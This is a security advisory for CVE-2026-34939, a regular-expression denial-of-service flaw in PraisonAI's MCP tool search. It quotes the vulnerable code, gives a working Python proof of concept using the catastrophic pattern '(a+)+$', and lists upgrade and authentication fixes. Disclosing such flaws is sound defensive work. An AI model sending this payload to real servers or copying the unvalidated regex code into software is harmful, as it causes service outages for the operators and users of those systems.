CVE-2026-34939: PraisonAI: ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()
Summary
MCPToolIndex.searchtools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.
Details
toolindex.py:365 (source) -> toolindex.py:368 (sink) python source -- query taken directly from caller, no validation def searchtools(self, query: str) -> List[ToolInfo]: import re
sink -- compiled and applied with no timeout or exception handling pattern = re.compile(query, re.IGNORECASE) for tool in self.getalltools(): if pattern.search(tool.name) or pattern.search(tool.hint): matches.append(tool)
PoC python tested on: praisonai==1.5.87 (source install) install: pip install -e src/praisonai import sys, time, json sys.path.insert(0, 'src/praisonai') from pathlib import Path
mcpdir = Path.home() / '.praison' / 'mcp' / 'servers' / 'testserver' mcpdir.mkdir(parents=True, existok=True) (mcpdir / 'index.json').writetext(json.dumps([ {"name": "a" 30 + "!", "hint": "a" 30 + "!", "server": "testserver"} ])) (mcpdir / 'status.json').writetext(json.dumps({ "server": "testserver", "available": True, "authrequired": False, "lastsync": time.time(), "toolcount": 1, "error": None }))
from praisonai.mcpserver.toolindex import MCPToolIndex index = MCPToolIndex()
start = time.monotonic() results = index.searchtools("(a+)+$") print(f"Returned in {time.monotonic() - start:.1f}s") expected output: Returned in 376.0s
Impact
A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.
Other sources
PraisonAI is a multi-agent teams system. Prior to version 4.5.90, MCPToolIndex.searchtools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. This issue has been patched in version 4.5.90.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaito a version that resolves this vulnerability.Fixed in 4.5.90 - Upgrade
Upgrade
PraisonAIto a version that resolves this vulnerability.Fixed in 4.5.90Patch 4.5.90 - Compensating control
Ensure the MCP server HTTP transport is not reachable without authorization/API key by enabling authentication (API key required by default) so the untrusted caller-supplied regex cannot be triggered over the network.